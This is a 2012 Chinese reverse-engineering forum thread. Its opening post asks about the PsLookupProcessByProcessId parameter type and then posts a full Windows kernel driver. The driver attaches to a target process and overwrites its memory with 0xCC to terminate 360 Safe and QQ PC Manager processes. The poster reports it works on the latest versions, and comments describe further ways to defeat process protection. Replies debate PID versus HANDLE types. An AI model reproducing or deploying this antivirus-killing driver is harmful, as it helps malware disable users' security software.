首页
社区
课程
招聘
[讨论]对秒杀360和QQ管家(等)的驱动代码的疑惑
发表于: 2012-4-8 22:00 8501

[讨论]对秒杀360和QQ管家(等)的驱动代码的疑惑

2012-4-8 22:00
8501
看了秒杀360和QQ管家(等)的驱动代码一文,有点疑惑:
原文:http://bbs.pediy.com/showthread.php?t=148834

NTSTATUS PsLookupProcessByProcessId(__in HANDLE ProcessId,__out PEPROCESS *Process);
LZ声明的是第一入参是HANDLE 结构
NTSTATUS KillProcessByPID(HANDLE hProcess)
为何KillProcessByPID(XXX);  //填写360Safe.exe的PID。
status=PsLookupProcessByProcessId(hProcess,&m_process);    //得到指定进程ID的进程环境块
这里入参是PID~~~PID不是ULONG型的么

对LZ代码进行了改良如下:
//////////////////////////////////////////////////
// kill360sys.cpp文件

extern "C"
{
//#include<ntddk.h>
//#include<ntdef.h>
//#include<ntstrsafe.h>
#include "kprocess.h"
}

/*
typedef struct _KAPC_STATE
{
    LIST_ENTRY ApcListHead[MaximumMode];
    struct _KPROCESS *Process;
    BOOLEAN KernelApcInProgress;
    BOOLEAN KernelApcPending;
    BOOLEAN UserApcPending;
} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;

VOID KeStackAttachProcess(__inout PKPROCESS Process,__out PKAPC_STATE ApcState);
VOID KeUnstackDetachProcess(__in PKAPC_STATE ApcState);
NTSTATUS PsLookupProcessByProcessId(__in HANDLE ProcessId,__out PEPROCESS *Process);
*/

typedef VOID (*EXP_KeStackAttachProcess)(__inout PKPROCESS Process,__out PKAPC_STATE ApcState);
typedef VOID (*EXP_KeUnstackDetachProcess)(__in PKAPC_STATE ApcState);
typedef NTSTATUS (*EXP_PsLookupProcessByProcessId)(__in HANDLE ProcessId,__out PEPROCESS *Process);

EXP_KeStackAttachProcess KeStackAttachProcess;
EXP_KeUnstackDetachProcess KeUnstackDetachProcess;
EXP_PsLookupProcessByProcessId PsLookupProcessByProcessId;

NTSTATUS KillProcessByPID(HANDLE hProcess)
{//通过进程ID号,来结束进程
    PEPROCESS m_process;
    NTSTATUS status = STATUS_SUCCESS;
    KAPC_STATE m_kapc_state;
    ULONG m_index=0;
    PVOID m_base_address=NULL;

        UNICODE_STRING funName[3]={0};
        RtlInitUnicodeString(&funName[0],L"KeStackAttachProcess");
        RtlInitUnicodeString(&funName[1],L"KeUnstackDetachProcess");
        RtlInitUnicodeString(&funName[2],L"PsLookupProcessByProcessId");
        GetFunctionAdrerss(&funName[0],(ULONG*)KeStackAttachProcess);
        GetFunctionAdrerss(&funName[1],(ULONG*)KeUnstackDetachProcess);
        GetFunctionAdrerss(&funName[2],(ULONG*)PsLookupProcessByProcessId);

    //分配一块只读类型的,大小为0x1000的内存块出来//返回值为分配内存的指针   
    m_base_address=ExAllocatePoolWithTag(NonPagedPool,0x1000,'Read');  
    if(m_base_address==NULL)
        {
                return STATUS_UNSUCCESSFUL;//如果分配内存失败
        }
    memset(m_base_address,0xcc,0x1000);  //初始化相关内存,未初始化的变量会被系统赋初值为0xCC     

    status=PsLookupProcessByProcessId(hProcess,&m_process);    //得到指定进程ID的进程环境块
    if(!NT_SUCCESS(status))
        {
                return status;//返回失败
        }

    KeStackAttachProcess ((PKPROCESS)m_process,&m_kapc_state); //附加当前线程到目标进程空间内   
    for(m_index=0;m_index<0x80000000;m_index+=0x1000)//循环遍历
    {        
        if(MmIsAddressValid((PVOID)(m_index)))//如果指定内存大小空间能读能写的话
        {
            __try
            {   //复制m_base_address内存空间内容到m_index大小的空间
                RtlCopyMemory((PVOID)(m_index),m_base_address,0x1000);  
            }
            __except(1)
            {
                                continue;
                        }
        }
        else
        {
            if(m_index>0x1000000)
                        {
                                break;
                        }
        }
    }

    KeUnstackDetachProcess(&m_kapc_state);//解除附加
    return status;
}

VOID DriverUnload(PDRIVER_OBJECT driver)
{
        DbgPrint("Unload Driver Ok...!");
}

// 驱动程序加载时调用DriverEntry例程
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
        pDriverObj->DriverUnload=DriverUnload;
        HANDLE test=NULL;

    KillProcessByPID(test);  //填写360Safe.exe的PID。
    KillProcessByPID(test);  //填写ZhuDongFangYu.exe的PID。
                          //注释:结束360Safe.exe而不结束ZhuDongFangYu.exe,360Safe.exe会死灰复燃。
              //ZhuDongFangYu.exe和360Safe.exe都可以用插APC的方法结束(360Safe.exe有点问题)。
              //有一种办法,不hook,可以被插APC的办法也杀不掉,就是把线程的链表全部填写为自身的地址。
              
              //QQ 电脑管家的用插APC的办法没有成功,可能用结束线程的函数不够底层。
              //要结束QQ管家需要填写4个进程。
              
              //去年年初,不用驱动就能干掉QQ管家,告诉QQ的相关人士,这个办法失灵了。
              //今天公布这个办法,是为了推动祖国的安全事业的前进。
              //这个办法大多数人都知道,但没有见代码,所以分享。
        return STATUS_SUCCESS;
}

测试了最新360和管家,都可以成功结束
详细代码见附件

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (10)
雪    币: 188
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习了,感谢楼主分享……
2012-4-8 22:13
0
雪    币: 2331
活跃值: (2225)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
3


大哥,你不看msdn的吗?
上传的附件:
2012-4-8 22:39
0
雪    币: 1753
活跃值: (895)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
4
那这个HANDLE Processid 是传递进程PID还是该传进程句柄·?
有点疑惑~!
2012-4-8 22:53
0
雪    币: 1787
活跃值: (340)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
ring3能杀才有价值啊。。ring0能杀,很正常~
2012-4-8 22:54
0
雪    币: 1489
活跃值: (1098)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
6
应该是所谓的进程ID
2012-4-8 22:56
0
雪    币: 1787
活跃值: (340)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
ID 吧。。

HANDLE
  PsGetCurrentProcessId(
    VOID
    );

内核的ProcessId都用HANDLE表示了。。。不清楚为啥。。
HANDLE 在x86,也是一个DWORD大小。
2012-4-8 23:00
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
8
ULONG也好,HANDLE也好(HANDLE其实就是 #define HANDLE DWORD),其实大家都是4字节的~
2012-4-9 00:17
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
9
ThreadId、ProcessId都是PspCidTable这个“句柄表”的“句柄”
2012-4-9 09:22
0
雪    币: 278
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
你能进入ring0吗? 被360拦截...不过都进入ring0了 360当然能杀...感觉鸡肋
2012-4-10 20:15
0
雪    币: 585
活跃值: (578)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
11
[QUOTE=莫灰灰;1061977]

大哥,你不看msdn的吗?[/QUOTE]

我的哥,这个有什么好奇怪的,习惯了ring3编程,刚接触PsLookupProcessByProcessId这个函数的时候,都会这样认为的。

lz这样做就行了。
HANDLE ProcessId = (HANDLE)4;
2012-4-10 20:55
0
游客
登录 | 注册 方可回帖
返回
//